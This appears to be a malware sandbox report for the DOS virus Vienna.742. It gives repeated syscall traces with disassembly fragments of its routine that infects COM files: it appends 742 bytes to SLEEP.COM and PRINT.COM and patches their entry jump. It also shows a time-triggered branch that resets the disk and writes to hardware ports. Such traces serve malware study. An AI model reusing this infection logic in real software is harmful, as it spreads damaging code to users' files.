Sample viewer

vx.netlux.org/Virus.DOS.Vienna.742

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:15:38.805322883Z 48 PC: 12d51 | Get DOS version
2018-12-17T23:15:38.807757488Z 47 PC: 12d5d | Get disk transfer address
2018-12-17T23:15:38.809029953Z 26 PC: 12d70 | Set disk transfer address
2018-12-17T23:15:38.810111048Z 44 PC: 12d80 | Get time 0x12d80: and dh, 7
0x12d83: jne 0x12da0
0x12d85: jmp 0x12da3
0x12d87: nop
0x12d88: mov ax, 0x508
0x12d8b: mov cx, 0x8001
0x12d8e: mov dx, 0
0x12d91: int 0xd
0x12d93: xor al, al
0x12d95: mov dx, 0x9fff
0x12d98: out dx, al
0x12d99: dec dx
0x12d9a: jne 0x12d98
0x12d9c: inc al
0x12d9e: jmp 0x12d95
0x12da0: jmp 0x12dc3
0x12da2: nop
0x12da3: mov al, byte ptr [0x373]
0x12da6: call 0x12db6
0x12da9: cmp byte ptr [0x373], 0x19
2018-12-17T23:15:38.813019909Z 78 PC: 12e4e | Find first file
2018-12-17T23:15:38.819521661Z 67 PC: 12e8c | Get or set file attributes
2018-12-17T23:15:38.825516426Z 67 PC: 12e9e | Get or set file attributes
2018-12-17T23:15:40.616222398Z 61 PC: 12ea9 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:15:40.624040399Z 87 PC: 12eb5 | Get or set file date and time
2018-12-17T23:15:40.626057853Z 44 PC: 12ec1 | Get time 0x12ec1: and dh, 7
0x12ec4: jmp 0x12ec7
0x12ec6: nop
0x12ec7: mov ah, 0x3f
0x12ec9: mov cx, 3
0x12ecc: mov dx, 0x2f
0x12ecf: nop
0x12ed0: add dx, si
0x12ed2: int 0x21
0x12ed4: jb 0x12f2b
0x12ed6: cmp ax, 3
0x12ed9: jne 0x12f2b
0x12edb: mov ax, 0x4202
0x12ede: mov cx, 0
0x12ee1: mov dx, 0
0x12ee4: int 0x21
0x12ee6: jb 0x12f2b
0x12ee8: mov cx, ax
0x12eea: sub ax, 3
0x12eed: mov word ptr [si + 0x33], ax
2018-12-17T23:15:40.62919364Z 63 PC: 12ed4 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:15:40.650571775Z 66 PC: 12ee6 | Move file pointer
2018-12-17T23:15:40.652184794Z 64 PC: 12f0a | Write file or device (Write 742 bytes on handle 5)
2018-12-17T23:15:40.774834952Z 66 PC: 12f1c | Move file pointer
2018-12-17T23:15:40.777370473Z 64 PC: 12f2b | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:15:40.785503262Z 87 PC: 12f3e | Get or set file date and time
2018-12-17T23:15:40.788965726Z 62 PC: 12f42 | Close file
2018-12-17T23:15:40.941922778Z 67 PC: 12f51 | Get or set file attributes
2018-12-17T23:15:40.984811645Z 26 PC: 12f5e | Set disk transfer address
2018-12-17T23:15:40.987103697Z 48 PC: 12a6b | Get DOS version
2018-12-17T23:15:40.990264344Z 47 PC: 12a77 | Get disk transfer address
2018-12-17T23:15:40.992211283Z 26 PC: 12a8a | Set disk transfer address
2018-12-17T23:15:40.993894084Z 44 PC: 12a9a | Get time 0x12a9a: and dh, 7
0x12a9d: jne 0x12aba
0x12a9f: jmp 0x12abd
0x12aa1: nop
0x12aa2: mov ax, 0x508
0x12aa5: mov cx, 0x8001
0x12aa8: mov dx, 0
0x12aab: int 0xd
0x12aad: xor al, al
0x12aaf: mov dx, 0x9fff
0x12ab2: out dx, al
0x12ab3: dec dx
0x12ab4: jne 0x12ab2
0x12ab6: inc al
0x12ab8: jmp 0x12aaf
0x12aba: jmp 0x12add
0x12abc: nop
0x12abd: mov al, byte ptr [0x373]
0x12ac0: call 0x12ad0
0x12ac3: cmp byte ptr [0x373], 0x19
2018-12-17T23:15:40.996934565Z 78 PC: 12b68 | Find first file
2018-12-17T23:15:41.018928913Z 79 PC: 12b6e | Find next file
2018-12-17T23:15:41.02320185Z 67 PC: 12ba6 | Get or set file attributes
2018-12-17T23:15:41.030024145Z 67 PC: 12bb8 | Get or set file attributes
2018-12-17T23:15:41.052323135Z 61 PC: 12bc3 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:15:41.060939009Z 87 PC: 12bcf | Get or set file date and time
2018-12-17T23:15:41.063071617Z 44 PC: 12bdb | Get time 0x12bdb: and dh, 7
0x12bde: jmp 0x12be1
0x12be0: nop
0x12be1: mov ah, 0x3f
0x12be3: mov cx, 3
0x12be6: mov dx, 0x2f
0x12be9: nop
0x12bea: add dx, si
0x12bec: int 0x21
0x12bee: jb 0x12c45
0x12bf0: cmp ax, 3
0x12bf3: jne 0x12c45
0x12bf5: mov ax, 0x4202
0x12bf8: mov cx, 0
0x12bfb: mov dx, 0
0x12bfe: int 0x21
0x12c00: jb 0x12c45
0x12c02: mov cx, ax
0x12c04: sub ax, 3
0x12c07: mov word ptr [si + 0x33], ax
2018-12-17T23:15:41.066987277Z 63 PC: 12bee | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:15:41.075260079Z 66 PC: 12c00 | Move file pointer
2018-12-17T23:15:41.077461031Z 64 PC: 12c24 | Write file or device (Write 742 bytes on handle 5)
2018-12-17T23:15:41.097448883Z 66 PC: 12c36 | Move file pointer
2018-12-17T23:15:41.099925505Z 64 PC: 12c45 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:15:41.107314876Z 87 PC: 12c58 | Get or set file date and time
2018-12-17T23:15:41.110103266Z 62 PC: 12c5c | Close file
2018-12-17T23:15:41.122849487Z 67 PC: 12c6b | Get or set file attributes
2018-12-17T23:15:41.14887722Z 26 PC: 12c78 | Set disk transfer address

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":7,"TimeBased":true,"OriginalID":7868,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:52.36666065Z 48 PC: 12d51 | Get DOS version
2018-12-25T12:02:52.369729524Z 47 PC: 12d5d | Get disk transfer address
2018-12-25T12:02:52.371648943Z 26 PC: 12d70 | Set disk transfer address
2018-12-25T12:02:52.373326644Z 44 PC: 12d80 | Get time 0x12d80: and dh, 7
0x12d83: jne 0x12da0
0x12d85: jmp 0x12da3
0x12d87: nop
0x12d88: mov ax, 0x508
0x12d8b: mov cx, 0x8001
0x12d8e: mov dx, 0
0x12d91: int 0xd
0x12d93: xor al, al
0x12d95: mov dx, 0x9fff
0x12d98: out dx, al
0x12d99: dec dx
0x12d9a: jne 0x12d98
0x12d9c: inc al
0x12d9e: jmp 0x12d95
0x12da0: jmp 0x12dc3
0x12da2: nop
0x12da3: mov al, byte ptr [0x373]
0x12da6: call 0x12db6
0x12da9: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.376545039Z 78 PC: 12e4e | Find first file
2018-12-25T12:02:52.386708903Z 67 PC: 12e8c | Get or set file attributes
2018-12-25T12:02:52.39547129Z 67 PC: 12e9e | Get or set file attributes
2018-12-25T12:02:52.42807775Z 61 PC: 12ea9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:52.436845389Z 87 PC: 12eb5 | Get or set file date and time
2018-12-25T12:02:52.439114164Z 44 PC: 12ec1 | Get time 0x12ec1: and dh, 7
0x12ec4: jmp 0x12ec7
0x12ec6: nop
0x12ec7: mov ah, 0x3f
0x12ec9: mov cx, 3
0x12ecc: mov dx, 0x2f
0x12ecf: nop
0x12ed0: add dx, si
0x12ed2: int 0x21
0x12ed4: jb 0x12f2b
0x12ed6: cmp ax, 3
0x12ed9: jne 0x12f2b
0x12edb: mov ax, 0x4202
0x12ede: mov cx, 0
0x12ee1: mov dx, 0
0x12ee4: int 0x21
0x12ee6: jb 0x12f2b
0x12ee8: mov cx, ax
0x12eea: sub ax, 3
0x12eed: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.442099234Z 63 PC: 12ed4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.453467404Z 66 PC: 12ee6 | Move file pointer
2018-12-25T12:02:52.45528943Z 64 PC: 12f0a | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.465110398Z 66 PC: 12f1c | Move file pointer
2018-12-25T12:02:52.467979437Z 64 PC: 12f2b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.477733314Z 87 PC: 12f3e | Get or set file date and time
2018-12-25T12:02:52.480187476Z 62 PC: 12f42 | Close file
2018-12-25T12:02:52.491663847Z 67 PC: 12f51 | Get or set file attributes
2018-12-25T12:02:52.509797211Z 26 PC: 12f5e | Set disk transfer address
2018-12-25T12:02:52.511657948Z 48 PC: 12a6b | Get DOS version
2018-12-25T12:02:52.514871892Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T12:02:52.517817149Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T12:02:52.51959401Z 44 PC: 12a9a | Get time 0x12a9a: and dh, 7
0x12a9d: jne 0x12aba
0x12a9f: jmp 0x12abd
0x12aa1: nop
0x12aa2: mov ax, 0x508
0x12aa5: mov cx, 0x8001
0x12aa8: mov dx, 0
0x12aab: int 0xd
0x12aad: xor al, al
0x12aaf: mov dx, 0x9fff
0x12ab2: out dx, al
0x12ab3: dec dx
0x12ab4: jne 0x12ab2
0x12ab6: inc al
0x12ab8: jmp 0x12aaf
0x12aba: jmp 0x12add
0x12abc: nop
0x12abd: mov al, byte ptr [0x373]
0x12ac0: call 0x12ad0
0x12ac3: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.522623041Z 78 PC: 12b68 | Find first file
2018-12-25T12:02:52.530814861Z 79 PC: 12b6e | Find next file
2018-12-25T12:02:52.53427794Z 67 PC: 12ba6 | Get or set file attributes
2018-12-25T12:02:52.540978693Z 67 PC: 12bb8 | Get or set file attributes
2018-12-25T12:02:52.553248068Z 61 PC: 12bc3 | Open file (Filename = 'PRINT.COM')
2018-12-25T12:02:52.567124775Z 87 PC: 12bcf | Get or set file date and time
2018-12-25T12:02:52.569161631Z 44 PC: 12bdb | Get time 0x12bdb: and dh, 7
0x12bde: jmp 0x12be1
0x12be0: nop
0x12be1: mov ah, 0x3f
0x12be3: mov cx, 3
0x12be6: mov dx, 0x2f
0x12be9: nop
0x12bea: add dx, si
0x12bec: int 0x21
0x12bee: jb 0x12c45
0x12bf0: cmp ax, 3
0x12bf3: jne 0x12c45
0x12bf5: mov ax, 0x4202
0x12bf8: mov cx, 0
0x12bfb: mov dx, 0
0x12bfe: int 0x21
0x12c00: jb 0x12c45
0x12c02: mov cx, ax
0x12c04: sub ax, 3
0x12c07: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.572834316Z 63 PC: 12bee | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.580693742Z 66 PC: 12c00 | Move file pointer
2018-12-25T12:02:52.583304515Z 64 PC: 12c24 | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.592424013Z 66 PC: 12c36 | Move file pointer
2018-12-25T12:02:52.595439594Z 64 PC: 12c45 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.603380436Z 87 PC: 12c58 | Get or set file date and time
2018-12-25T12:02:52.605516503Z 62 PC: 12c5c | Close file
2018-12-25T12:02:52.614975116Z 67 PC: 12c6b | Get or set file attributes
2018-12-25T12:02:52.628045466Z 26 PC: 12c78 | Set disk transfer address

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":7868,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:52.473378555Z 48 PC: 12d51 | Get DOS version
2018-12-25T12:02:52.47650801Z 47 PC: 12d5d | Get disk transfer address
2018-12-25T12:02:52.478306134Z 26 PC: 12d70 | Set disk transfer address
2018-12-25T12:02:52.479565162Z 44 PC: 12d80 | Get time 0x12d80: and dh, 7
0x12d83: jne 0x12da0
0x12d85: jmp 0x12da3
0x12d87: nop
0x12d88: mov ax, 0x508
0x12d8b: mov cx, 0x8001
0x12d8e: mov dx, 0
0x12d91: int 0xd
0x12d93: xor al, al
0x12d95: mov dx, 0x9fff
0x12d98: out dx, al
0x12d99: dec dx
0x12d9a: jne 0x12d98
0x12d9c: inc al
0x12d9e: jmp 0x12d95
0x12da0: jmp 0x12dc3
0x12da2: nop
0x12da3: mov al, byte ptr [0x373]
0x12da6: call 0x12db6
0x12da9: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.482914747Z 78 PC: 12e4e | Find first file
2018-12-25T12:02:52.490712659Z 67 PC: 12e8c | Get or set file attributes
2018-12-25T12:02:52.497294158Z 67 PC: 12e9e | Get or set file attributes
2018-12-25T12:02:52.517874628Z 61 PC: 12ea9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:52.527049793Z 87 PC: 12eb5 | Get or set file date and time
2018-12-25T12:02:52.528487478Z 44 PC: 12ec1 | Get time 0x12ec1: and dh, 7
0x12ec4: jmp 0x12ec7
0x12ec6: nop
0x12ec7: mov ah, 0x3f
0x12ec9: mov cx, 3
0x12ecc: mov dx, 0x2f
0x12ecf: nop
0x12ed0: add dx, si
0x12ed2: int 0x21
0x12ed4: jb 0x12f2b
0x12ed6: cmp ax, 3
0x12ed9: jne 0x12f2b
0x12edb: mov ax, 0x4202
0x12ede: mov cx, 0
0x12ee1: mov dx, 0
0x12ee4: int 0x21
0x12ee6: jb 0x12f2b
0x12ee8: mov cx, ax
0x12eea: sub ax, 3
0x12eed: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.530734827Z 63 PC: 12ed4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.538684603Z 66 PC: 12ee6 | Move file pointer
2018-12-25T12:02:52.540559871Z 64 PC: 12f0a | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.549795302Z 66 PC: 12f1c | Move file pointer
2018-12-25T12:02:52.552062179Z 64 PC: 12f2b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.563830673Z 87 PC: 12f3e | Get or set file date and time
2018-12-25T12:02:52.565470792Z 62 PC: 12f42 | Close file
2018-12-25T12:02:52.574482871Z 67 PC: 12f51 | Get or set file attributes
2018-12-25T12:02:52.585186258Z 26 PC: 12f5e | Set disk transfer address
2018-12-25T12:02:52.586224193Z 48 PC: 12a6b | Get DOS version
2018-12-25T12:02:52.589162534Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T12:02:52.590764239Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T12:02:52.59239364Z 44 PC: 12a9a | Get time 0x12a9a: and dh, 7
0x12a9d: jne 0x12aba
0x12a9f: jmp 0x12abd
0x12aa1: nop
0x12aa2: mov ax, 0x508
0x12aa5: mov cx, 0x8001
0x12aa8: mov dx, 0
0x12aab: int 0xd
0x12aad: xor al, al
0x12aaf: mov dx, 0x9fff
0x12ab2: out dx, al
0x12ab3: dec dx
0x12ab4: jne 0x12ab2
0x12ab6: inc al
0x12ab8: jmp 0x12aaf
0x12aba: jmp 0x12add
0x12abc: nop
0x12abd: mov al, byte ptr [0x373]
0x12ac0: call 0x12ad0
0x12ac3: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.595671055Z 78 PC: 12b68 | Find first file
2018-12-25T12:02:52.603848088Z 79 PC: 12b6e | Find next file
2018-12-25T12:02:52.606742468Z 67 PC: 12ba6 | Get or set file attributes
2018-12-25T12:02:52.612890941Z 67 PC: 12bb8 | Get or set file attributes
2018-12-25T12:02:52.626009442Z 61 PC: 12bc3 | Open file (Filename = 'PRINT.COM')
2018-12-25T12:02:52.633487633Z 87 PC: 12bcf | Get or set file date and time
2018-12-25T12:02:52.635146043Z 44 PC: 12bdb | Get time 0x12bdb: and dh, 7
0x12bde: jmp 0x12be1
0x12be0: nop
0x12be1: mov ah, 0x3f
0x12be3: mov cx, 3
0x12be6: mov dx, 0x2f
0x12be9: nop
0x12bea: add dx, si
0x12bec: int 0x21
0x12bee: jb 0x12c45
0x12bf0: cmp ax, 3
0x12bf3: jne 0x12c45
0x12bf5: mov ax, 0x4202
0x12bf8: mov cx, 0
0x12bfb: mov dx, 0
0x12bfe: int 0x21
0x12c00: jb 0x12c45
0x12c02: mov cx, ax
0x12c04: sub ax, 3
0x12c07: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.638913607Z 63 PC: 12bee | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.645914581Z 66 PC: 12c00 | Move file pointer
2018-12-25T12:02:52.647563334Z 64 PC: 12c24 | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.656634316Z 66 PC: 12c36 | Move file pointer
2018-12-25T12:02:52.6581113Z 64 PC: 12c45 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.665622968Z 87 PC: 12c58 | Get or set file date and time
2018-12-25T12:02:52.667668838Z 62 PC: 12c5c | Close file
2018-12-25T12:02:52.676892883Z 67 PC: 12c6b | Get or set file attributes
2018-12-25T12:02:52.687799413Z 26 PC: 12c78 | Set disk transfer address

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":7868,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:52.460843447Z 48 PC: 12d51 | Get DOS version
2018-12-25T12:02:52.462345137Z 47 PC: 12d5d | Get disk transfer address
2018-12-25T12:02:52.47129878Z 26 PC: 12d70 | Set disk transfer address
2018-12-25T12:02:52.473945729Z 44 PC: 12d80 | Get time 0x12d80: and dh, 7
0x12d83: jne 0x12da0
0x12d85: jmp 0x12da3
0x12d87: nop
0x12d88: mov ax, 0x508
0x12d8b: mov cx, 0x8001
0x12d8e: mov dx, 0
0x12d91: int 0xd
0x12d93: xor al, al
0x12d95: mov dx, 0x9fff
0x12d98: out dx, al
0x12d99: dec dx
0x12d9a: jne 0x12d98
0x12d9c: inc al
0x12d9e: jmp 0x12d95
0x12da0: jmp 0x12dc3
0x12da2: nop
0x12da3: mov al, byte ptr [0x373]
0x12da6: call 0x12db6
0x12da9: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.478903808Z 78 PC: 12e4e | Find first file
2018-12-25T12:02:52.48376114Z 67 PC: 12e8c | Get or set file attributes
2018-12-25T12:02:52.488193662Z 67 PC: 12e9e | Get or set file attributes
2018-12-25T12:02:52.515122119Z 61 PC: 12ea9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:52.530490172Z 87 PC: 12eb5 | Get or set file date and time
2018-12-25T12:02:52.532603619Z 44 PC: 12ec1 | Get time 0x12ec1: and dh, 7
0x12ec4: jmp 0x12ec7
0x12ec6: nop
0x12ec7: mov ah, 0x3f
0x12ec9: mov cx, 3
0x12ecc: mov dx, 0x2f
0x12ecf: nop
0x12ed0: add dx, si
0x12ed2: int 0x21
0x12ed4: jb 0x12f2b
0x12ed6: cmp ax, 3
0x12ed9: jne 0x12f2b
0x12edb: mov ax, 0x4202
0x12ede: mov cx, 0
0x12ee1: mov dx, 0
0x12ee4: int 0x21
0x12ee6: jb 0x12f2b
0x12ee8: mov cx, ax
0x12eea: sub ax, 3
0x12eed: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.535479192Z 63 PC: 12ed4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.543779791Z 66 PC: 12ee6 | Move file pointer
2018-12-25T12:02:52.545334609Z 64 PC: 12f0a | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.555641791Z 66 PC: 12f1c | Move file pointer
2018-12-25T12:02:52.557785814Z 64 PC: 12f2b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.566082233Z 87 PC: 12f3e | Get or set file date and time
2018-12-25T12:02:52.568171491Z 62 PC: 12f42 | Close file
2018-12-25T12:02:52.577354175Z 67 PC: 12f51 | Get or set file attributes
2018-12-25T12:02:52.589103133Z 26 PC: 12f5e | Set disk transfer address
2018-12-25T12:02:52.590810024Z 48 PC: 12a6b | Get DOS version
2018-12-25T12:02:52.592518926Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T12:02:52.594947775Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T12:02:52.596187354Z 44 PC: 12a9a | Get time 0x12a9a: and dh, 7
0x12a9d: jne 0x12aba
0x12a9f: jmp 0x12abd
0x12aa1: nop
0x12aa2: mov ax, 0x508
0x12aa5: mov cx, 0x8001
0x12aa8: mov dx, 0
0x12aab: int 0xd
0x12aad: xor al, al
0x12aaf: mov dx, 0x9fff
0x12ab2: out dx, al
0x12ab3: dec dx
0x12ab4: jne 0x12ab2
0x12ab6: inc al
0x12ab8: jmp 0x12aaf
0x12aba: jmp 0x12add
0x12abc: nop
0x12abd: mov al, byte ptr [0x373]
0x12ac0: call 0x12ad0
0x12ac3: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.598617552Z 78 PC: 12b68 | Find first file
2018-12-25T12:02:52.605992277Z 79 PC: 12b6e | Find next file
2018-12-25T12:02:52.609022404Z 67 PC: 12ba6 | Get or set file attributes
2018-12-25T12:02:52.615702497Z 67 PC: 12bb8 | Get or set file attributes
2018-12-25T12:02:52.630517444Z 61 PC: 12bc3 | Open file (Filename = 'PRINT.COM')
2018-12-25T12:02:52.648614907Z 87 PC: 12bcf | Get or set file date and time
2018-12-25T12:02:52.650446015Z 44 PC: 12bdb | Get time 0x12bdb: and dh, 7
0x12bde: jmp 0x12be1
0x12be0: nop
0x12be1: mov ah, 0x3f
0x12be3: mov cx, 3
0x12be6: mov dx, 0x2f
0x12be9: nop
0x12bea: add dx, si
0x12bec: int 0x21
0x12bee: jb 0x12c45
0x12bf0: cmp ax, 3
0x12bf3: jne 0x12c45
0x12bf5: mov ax, 0x4202
0x12bf8: mov cx, 0
0x12bfb: mov dx, 0
0x12bfe: int 0x21
0x12c00: jb 0x12c45
0x12c02: mov cx, ax
0x12c04: sub ax, 3
0x12c07: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.6531899Z 63 PC: 12bee | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.661706543Z 66 PC: 12c00 | Move file pointer
2018-12-25T12:02:52.663357002Z 64 PC: 12c24 | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.673345096Z 66 PC: 12c36 | Move file pointer
2018-12-25T12:02:52.675685689Z 64 PC: 12c45 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.690958289Z 87 PC: 12c58 | Get or set file date and time
2018-12-25T12:02:52.69346502Z 62 PC: 12c5c | Close file
2018-12-25T12:02:52.713333783Z 67 PC: 12c6b | Get or set file attributes
2018-12-25T12:02:52.731142613Z 26 PC: 12c78 | Set disk transfer address

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":7,"TimeBased":true,"OriginalID":7868,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:52.552551192Z 48 PC: 12d51 | Get DOS version
2018-12-25T12:02:52.554222054Z 47 PC: 12d5d | Get disk transfer address
2018-12-25T12:02:52.562207897Z 26 PC: 12d70 | Set disk transfer address
2018-12-25T12:02:52.563843194Z 44 PC: 12d80 | Get time 0x12d80: and dh, 7
0x12d83: jne 0x12da0
0x12d85: jmp 0x12da3
0x12d87: nop
0x12d88: mov ax, 0x508
0x12d8b: mov cx, 0x8001
0x12d8e: mov dx, 0
0x12d91: int 0xd
0x12d93: xor al, al
0x12d95: mov dx, 0x9fff
0x12d98: out dx, al
0x12d99: dec dx
0x12d9a: jne 0x12d98
0x12d9c: inc al
0x12d9e: jmp 0x12d95
0x12da0: jmp 0x12dc3
0x12da2: nop
0x12da3: mov al, byte ptr [0x373]
0x12da6: call 0x12db6
0x12da9: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.566798463Z 78 PC: 12e4e | Find first file
2018-12-25T12:02:52.574424536Z 67 PC: 12e8c | Get or set file attributes
2018-12-25T12:02:52.581081752Z 67 PC: 12e9e | Get or set file attributes
2018-12-25T12:02:52.598585778Z 61 PC: 12ea9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:52.607650637Z 87 PC: 12eb5 | Get or set file date and time
2018-12-25T12:02:52.609476441Z 44 PC: 12ec1 | Get time 0x12ec1: and dh, 7
0x12ec4: jmp 0x12ec7
0x12ec6: nop
0x12ec7: mov ah, 0x3f
0x12ec9: mov cx, 3
0x12ecc: mov dx, 0x2f
0x12ecf: nop
0x12ed0: add dx, si
0x12ed2: int 0x21
0x12ed4: jb 0x12f2b
0x12ed6: cmp ax, 3
0x12ed9: jne 0x12f2b
0x12edb: mov ax, 0x4202
0x12ede: mov cx, 0
0x12ee1: mov dx, 0
0x12ee4: int 0x21
0x12ee6: jb 0x12f2b
0x12ee8: mov cx, ax
0x12eea: sub ax, 3
0x12eed: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.611961995Z 63 PC: 12ed4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.619769226Z 66 PC: 12ee6 | Move file pointer
2018-12-25T12:02:52.621446486Z 64 PC: 12f0a | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.630850732Z 66 PC: 12f1c | Move file pointer
2018-12-25T12:02:52.632728268Z 64 PC: 12f2b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.640462343Z 87 PC: 12f3e | Get or set file date and time
2018-12-25T12:02:52.642206088Z 62 PC: 12f42 | Close file
2018-12-25T12:02:52.651177525Z 67 PC: 12f51 | Get or set file attributes
2018-12-25T12:02:52.667448249Z 26 PC: 12f5e | Set disk transfer address
2018-12-25T12:02:52.670331875Z 48 PC: 12a6b | Get DOS version
2018-12-25T12:02:52.671626664Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T12:02:52.673795114Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T12:02:52.675030962Z 44 PC: 12a9a | Get time 0x12a9a: and dh, 7
0x12a9d: jne 0x12aba
0x12a9f: jmp 0x12abd
0x12aa1: nop
0x12aa2: mov ax, 0x508
0x12aa5: mov cx, 0x8001
0x12aa8: mov dx, 0
0x12aab: int 0xd
0x12aad: xor al, al
0x12aaf: mov dx, 0x9fff
0x12ab2: out dx, al
0x12ab3: dec dx
0x12ab4: jne 0x12ab2
0x12ab6: inc al
0x12ab8: jmp 0x12aaf
0x12aba: jmp 0x12add
0x12abc: nop
0x12abd: mov al, byte ptr [0x373]
0x12ac0: call 0x12ad0
0x12ac3: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.678519939Z 78 PC: 12b68 | Find first file
2018-12-25T12:02:52.686777946Z 79 PC: 12b6e | Find next file
2018-12-25T12:02:52.690135849Z 67 PC: 12ba6 | Get or set file attributes
2018-12-25T12:02:52.696894104Z 67 PC: 12bb8 | Get or set file attributes
2018-12-25T12:02:52.712930277Z 61 PC: 12bc3 | Open file (Filename = 'PRINT.COM')
2018-12-25T12:02:52.721112267Z 87 PC: 12bcf | Get or set file date and time
2018-12-25T12:02:52.723064542Z 44 PC: 12bdb | Get time 0x12bdb: and dh, 7
0x12bde: jmp 0x12be1
0x12be0: nop
0x12be1: mov ah, 0x3f
0x12be3: mov cx, 3
0x12be6: mov dx, 0x2f
0x12be9: nop
0x12bea: add dx, si
0x12bec: int 0x21
0x12bee: jb 0x12c45
0x12bf0: cmp ax, 3
0x12bf3: jne 0x12c45
0x12bf5: mov ax, 0x4202
0x12bf8: mov cx, 0
0x12bfb: mov dx, 0
0x12bfe: int 0x21
0x12c00: jb 0x12c45
0x12c02: mov cx, ax
0x12c04: sub ax, 3
0x12c07: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.735807796Z 63 PC: 12bee | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.743545303Z 66 PC: 12c00 | Move file pointer
2018-12-25T12:02:52.745676854Z 64 PC: 12c24 | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.756742672Z 66 PC: 12c36 | Move file pointer
2018-12-25T12:02:52.759021438Z 64 PC: 12c45 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.767053001Z 87 PC: 12c58 | Get or set file date and time
2018-12-25T12:02:52.768889547Z 62 PC: 12c5c | Close file
2018-12-25T12:02:52.779421852Z 67 PC: 12c6b | Get or set file attributes
2018-12-25T12:02:52.791646436Z 26 PC: 12c78 | Set disk transfer address

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":7868,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:52.750124077Z 48 PC: 12d51 | Get DOS version
2018-12-25T12:02:52.752125967Z 47 PC: 12d5d | Get disk transfer address
2018-12-25T12:02:52.753326431Z 26 PC: 12d70 | Set disk transfer address
2018-12-25T12:02:52.754357289Z 44 PC: 12d80 | Get time 0x12d80: and dh, 7
0x12d83: jne 0x12da0
0x12d85: jmp 0x12da3
0x12d87: nop
0x12d88: mov ax, 0x508
0x12d8b: mov cx, 0x8001
0x12d8e: mov dx, 0
0x12d91: int 0xd
0x12d93: xor al, al
0x12d95: mov dx, 0x9fff
0x12d98: out dx, al
0x12d99: dec dx
0x12d9a: jne 0x12d98
0x12d9c: inc al
0x12d9e: jmp 0x12d95
0x12da0: jmp 0x12dc3
0x12da2: nop
0x12da3: mov al, byte ptr [0x373]
0x12da6: call 0x12db6
0x12da9: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.756918551Z 78 PC: 12e4e | Find first file
2018-12-25T12:02:52.762764905Z 67 PC: 12e8c | Get or set file attributes
2018-12-25T12:02:52.768585454Z 67 PC: 12e9e | Get or set file attributes
